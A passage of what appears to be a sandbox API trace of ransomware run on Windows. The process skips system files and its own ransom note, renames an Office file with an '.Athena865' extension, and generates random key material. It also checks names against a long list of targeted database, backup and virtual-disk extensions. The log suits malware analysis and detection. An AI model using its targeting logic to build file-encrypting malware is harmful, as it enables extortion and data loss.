dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.SharePoint.BusinessData.Administration.Client.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".") returned 1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="..") returned 1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="windows") returned -1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="bootmgr") returned 1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="temp") returned -1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="pagefile.sys") returned -1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="boot") returned 1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="ids.txt") returned 1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="ntuser.dat") returned -1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="perflogs") returned -1 [0075.128] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2="MSBuild") returned -1 [0075.128] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned 59 [0075.128] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.SharePoint.BusinessData.Administration.Client.xml" | out: lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned="Microsoft.SharePoint.BusinessData.Administration.Client.xml" [0075.128] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned 59 [0075.128] lstrlenW (lpString="Athena865") returned 9 [0075.128] lstrcmpiW (lpString1="lient.xml", lpString2="Athena865") returned 1 [0075.128] lstrlenW (lpString=".dll") returned 4 [0075.129] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".dll") returned 1 [0075.129] lstrlenW (lpString=".lnk") returned 4 [0075.129] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".lnk") returned 1 [0075.129] lstrlenW (lpString=".ini") returned 4 [0075.129] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".ini") returned 1 [0075.129] lstrlenW (lpString=".sys") returned 4 [0075.129] lstrcmpiW (lpString1="Microsoft.SharePoint.BusinessData.Administration.Client.xml", lpString2=".sys") returned 1 [0075.129] lstrlenW (lpString="Microsoft.SharePoint.BusinessData.Administration.Client.xml") returned 59 [0075.129] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.Athena865") returned 112 [0075.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.athena865"), dwFlags=0x1) returned 1 [0075.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.130] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=201136) returned 1 [0075.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.130] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.130] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.131] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.131] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.132] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x314b0, lpName=0x0) returned 0x17c [0075.133] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x314b0) returned 0x170000 [0075.143] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.143] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.143] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.143] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.144] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.144] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0075.146] CloseHandle (hObject=0x17c) returned 1 [0075.146] CloseHandle (hObject=0x154) returned 1 [0075.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.146] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x853ab920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x74760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="microsoft.sharepoint.workflowactions.proxy.dll", cAlternateFileName="MI6AA3~1.DLL")) returned 1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".") returned 1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="..") returned 1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="windows") returned -1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="bootmgr") returned 1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="temp") returned -1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="pagefile.sys") returned -1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="boot") returned 1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="ids.txt") returned 1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="ntuser.dat") returned -1 [0075.147] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="perflogs") returned -1 [0075.148] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2="MSBuild") returned -1 [0075.148] lstrlenW (lpString="microsoft.sharepoint.workflowactions.proxy.dll") returned 46 [0075.148] lstrcpyW (in: lpString1=0x241e89e, lpString2="microsoft.sharepoint.workflowactions.proxy.dll" | out: lpString1="microsoft.sharepoint.workflowactions.proxy.dll") returned="microsoft.sharepoint.workflowactions.proxy.dll" [0075.148] lstrlenW (lpString="microsoft.sharepoint.workflowactions.proxy.dll") returned 46 [0075.148] lstrlenW (lpString="Athena865") returned 9 [0075.148] lstrcmpiW (lpString1="proxy.dll", lpString2="Athena865") returned 1 [0075.148] lstrlenW (lpString=".dll") returned 4 [0075.148] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".dll") returned 1 [0075.148] lstrlenW (lpString=".lnk") returned 4 [0075.148] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".lnk") returned 1 [0075.148] lstrlenW (lpString=".ini") returned 4 [0075.148] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".ini") returned 1 [0075.148] lstrlenW (lpString=".sys") returned 4 [0075.148] lstrcmpiW (lpString1="microsoft.sharepoint.workflowactions.proxy.dll", lpString2=".sys") returned 1 [0075.148] lstrlenW (lpString="microsoft.sharepoint.workflowactions.proxy.dll") returned 46 [0075.148] lstrlenW (lpString="bak") returned 3 [0075.148] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0075.148] lstrlenW (lpString="ba_") returned 3 [0075.148] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0075.148] lstrlenW (lpString="dbb") returned 3 [0075.148] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0075.148] lstrlenW (lpString="vmdk") returned 4 [0075.148] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0075.148] lstrlenW (lpString="rar") returned 3 [0075.148] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0075.148] lstrlenW (lpString="zip") returned 3 [0075.148] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0075.148] lstrlenW (lpString="tgz") returned 3 [0075.148] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0075.148] lstrlenW (lpString="vbox") returned 4 [0075.148] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0075.149] lstrlenW (lpString="vdi") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0075.149] lstrlenW (lpString="vhd") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0075.149] lstrlenW (lpString="vhdx") returned 4 [0075.149] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0075.149] lstrlenW (lpString="avhd") returned 4 [0075.149] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0075.149] lstrlenW (lpString="db") returned 2 [0075.149] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0075.149] lstrlenW (lpString="db2") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0075.149] lstrlenW (lpString="db3") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0075.149] lstrlenW (lpString="dbf") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0075.149] lstrlenW (lpString="mdf") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0075.149] lstrlenW (lpString="mdb") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0075.149] lstrlenW (lpString="sql") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0075.149] lstrlenW (lpString="sqlite") returned 6 [0075.149] lstrcmpiW (lpString1="xy.dll", lpString2="sqlite") returned 1 [0075.149] lstrlenW (lpString="sqlite3") returned 7 [0075.149] lstrcmpiW (lpString1="oxy.dll", lpString2="sqlite3") returned -1 [0075.149] lstrlenW (lpString="sqlitedb") returned 8 [0075.149] lstrcmpiW (lpString1="roxy.dll", lpString2="sqlitedb") returned -1 [0075.149] lstrlenW (lpString="xml") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0075.149] lstrlenW (lpString="$er") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0075.149] lstrlenW (lpString="4dd") returned 3 [0075.149] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0075.150] lstrlenW (lpString="4dl") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0075.150] lstrlenW (lpString="^^^") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0075.150] lstrlenW (lpString="abs") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0075.150] lstrlenW (lpString="abx") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0075.150] lstrlenW (lpString="accdb") returned 5 [0075.150] lstrcmpiW (lpString1="y.dll", lpString2="accdb") returned 1 [0075.150] lstrlenW (lpString="accdc") returned 5 [0075.150] lstrcmpiW (lpString1="y.dll", lpString2="accdc") returned 1 [0075.150] lstrlenW (lpString="accde") returned 5 [0075.150] lstrcmpiW (lpString1="y.dll", lpString2="accde") returned 1 [0075.150] lstrlenW (lpString="accdr") returned 5 [0075.150] lstrcmpiW (lpString1="y.dll", lpString2="accdr") returned 1 [0075.150] lstrlenW (lpString="accdt") returned 5 [0075.150] lstrcmpiW (lpString1="y.dll", lpString2="accdt") returned 1 [0075.150] lstrlenW (lpString="accdw") returned 5 [0075.150] lstrcmpiW (lpString1="y.dll", lpString2="accdw") returned 1 [0075.150] lstrlenW (lpString="accft") returned 5 [0075.150] lstrcmpiW (lpString1="y.dll", lpString2="accft") returned 1 [0075.150] lstrlenW (lpString="adb") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0075.150] lstrlenW (lpString="adb") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0075.150] lstrlenW (lpString="ade") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0075.150] lstrlenW (lpString="adf") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0075.150] lstrlenW (lpString="adn") returned 3 [0075.150] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0075.151] lstrlenW (lpString="adp") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0075.151] lstrlenW (lpString="alf") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0075.151] lstrlenW (lpString="ask") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0075.151] lstrlenW (lpString="btr") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0075.151] lstrlenW (lpString="cat") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0075.151] lstrlenW (lpString="cdb") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0075.151] lstrlenW (lpString="ckp") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0075.151] lstrlenW (lpString="cma") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0075.151] lstrlenW (lpString="cpd") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0075.151] lstrlenW (lpString="dacpac") returned 6 [0075.151] lstrcmpiW (lpString1="xy.dll", lpString2="dacpac") returned 1 [0075.151] lstrlenW (lpString="dad") returned 3 [0075.151] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0075.151] lstrlenW (lpString="dadiagrams") returned 10 [0075.151] lstrcmpiW (lpString1=".proxy.dll", lpString2="dadiagrams") returned -1 [0075.151] lstrlenW (lpString="daschema") returned 8 [0075.151] lstrcmpiW (lpString1="roxy.dll", lpString2="daschema") returned 1 [0075.151] lstrlenW (lpString="db-journal") returned 10 [0075.151] lstrcmpiW (lpString1=".proxy.dll", lpString2="db-journal") returned -1 [0075.151] lstrlenW (lpString="db-shm") returned 6 [0075.151] lstrcmpiW (lpString1="xy.dll", lpString2="db-shm") returned 1 [0075.151] lstrlenW (lpString="db-wal") returned 6 [0075.151] lstrcmpiW (lpString1="xy.dll", lpString2="db-wal") returned 1 [0075.151] lstrlenW (lpString="dbc") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0075.152] lstrlenW (lpString="dbs") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0075.152] lstrlenW (lpString="dbt") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0075.152] lstrlenW (lpString="dbv") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0075.152] lstrlenW (lpString="dbx") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0075.152] lstrlenW (lpString="dcb") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0075.152] lstrlenW (lpString="dct") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0075.152] lstrlenW (lpString="dcx") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0075.152] lstrlenW (lpString="ddl") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0075.152] lstrlenW (lpString="dlis") returned 4 [0075.152] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0075.152] lstrlenW (lpString="dp1") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0075.152] lstrlenW (lpString="dqy") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0075.152] lstrlenW (lpString="dsk") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0075.152] lstrlenW (lpString="dsn") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0075.152] lstrlenW (lpString="dtsx") returned 4 [0075.152] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0075.152] lstrlenW (lpString="dxl") returned 3 [0075.152] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0075.152] lstrlenW (lpString="eco") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0075.153] lstrlenW (lpString="ecx") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0075.153] lstrlenW (lpString="edb") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0075.153] lstrlenW (lpString="epim") returned 4 [0075.153] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0075.153] lstrlenW (lpString="fcd") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0075.153] lstrlenW (lpString="fdb") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0075.153] lstrlenW (lpString="fic") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0075.153] lstrlenW (lpString="flexolibrary") returned 12 [0075.153] lstrcmpiW (lpString1="ns.proxy.dll", lpString2="flexolibrary") returned 1 [0075.153] lstrlenW (lpString="fm5") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0075.153] lstrlenW (lpString="fmp") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0075.153] lstrlenW (lpString="fmp12") returned 5 [0075.153] lstrcmpiW (lpString1="y.dll", lpString2="fmp12") returned 1 [0075.153] lstrlenW (lpString="fmpsl") returned 5 [0075.153] lstrcmpiW (lpString1="y.dll", lpString2="fmpsl") returned 1 [0075.153] lstrlenW (lpString="fol") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0075.153] lstrlenW (lpString="fp3") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0075.153] lstrlenW (lpString="fp4") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0075.153] lstrlenW (lpString="fp5") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0075.153] lstrlenW (lpString="fp7") returned 3 [0075.153] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0075.153] lstrlenW (lpString="fpt") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0075.154] lstrlenW (lpString="frm") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0075.154] lstrlenW (lpString="gdb") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0075.154] lstrlenW (lpString="gdb") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0075.154] lstrlenW (lpString="grdb") returned 4 [0075.154] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0075.154] lstrlenW (lpString="gwi") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0075.154] lstrlenW (lpString="hdb") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0075.154] lstrlenW (lpString="his") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0075.154] lstrlenW (lpString="ib") returned 2 [0075.154] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0075.154] lstrlenW (lpString="idb") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0075.154] lstrlenW (lpString="ihx") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0075.154] lstrlenW (lpString="itdb") returned 4 [0075.154] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0075.154] lstrlenW (lpString="itw") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0075.154] lstrlenW (lpString="jet") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0075.154] lstrlenW (lpString="jtx") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0075.154] lstrlenW (lpString="kdb") returned 3 [0075.154] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0075.154] lstrlenW (lpString="kexi") returned 4 [0075.155] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0075.155] lstrlenW (lpString="kexic") returned 5 [0075.155] lstrcmpiW (lpString1="y.dll", lpString2="kexic") returned 1 [0075.155] lstrlenW (lpString="kexis") returned 5 [0075.155] lstrcmpiW (lpString1="y.dll", lpString2="kexis") returned 1 [0075.155] lstrlenW (lpString="lgc") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0075.155] lstrlenW (lpString="lwx") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0075.155] lstrlenW (lpString="maf") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0075.155] lstrlenW (lpString="maq") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0075.155] lstrlenW (lpString="mar") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0075.155] lstrlenW (lpString="marshal") returned 7 [0075.155] lstrcmpiW (lpString1="oxy.dll", lpString2="marshal") returned 1 [0075.155] lstrlenW (lpString="mas") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0075.155] lstrlenW (lpString="mav") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0075.155] lstrlenW (lpString="maw") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0075.155] lstrlenW (lpString="mdbhtml") returned 7 [0075.155] lstrcmpiW (lpString1="oxy.dll", lpString2="mdbhtml") returned 1 [0075.155] lstrlenW (lpString="mdn") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0075.155] lstrlenW (lpString="mdt") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0075.155] lstrlenW (lpString="mfd") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0075.155] lstrlenW (lpString="mpd") returned 3 [0075.155] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0075.156] lstrlenW (lpString="mrg") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0075.156] lstrlenW (lpString="mud") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0075.156] lstrlenW (lpString="mwb") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0075.156] lstrlenW (lpString="myd") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0075.156] lstrlenW (lpString="ndf") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0075.156] lstrlenW (lpString="nnt") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0075.156] lstrlenW (lpString="nrmlib") returned 6 [0075.156] lstrcmpiW (lpString1="xy.dll", lpString2="nrmlib") returned 1 [0075.156] lstrlenW (lpString="ns2") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0075.156] lstrlenW (lpString="ns3") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0075.156] lstrlenW (lpString="ns4") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0075.156] lstrlenW (lpString="nsf") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0075.156] lstrlenW (lpString="nv") returned 2 [0075.156] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0075.156] lstrlenW (lpString="nv2") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0075.156] lstrlenW (lpString="nwdb") returned 4 [0075.156] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0075.156] lstrlenW (lpString="nyf") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0075.156] lstrlenW (lpString="odb") returned 3 [0075.156] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0075.156] lstrlenW (lpString="odb") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0075.157] lstrlenW (lpString="oqy") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0075.157] lstrlenW (lpString="ora") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0075.157] lstrlenW (lpString="orx") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0075.157] lstrlenW (lpString="owc") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0075.157] lstrlenW (lpString="p96") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0075.157] lstrlenW (lpString="p97") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 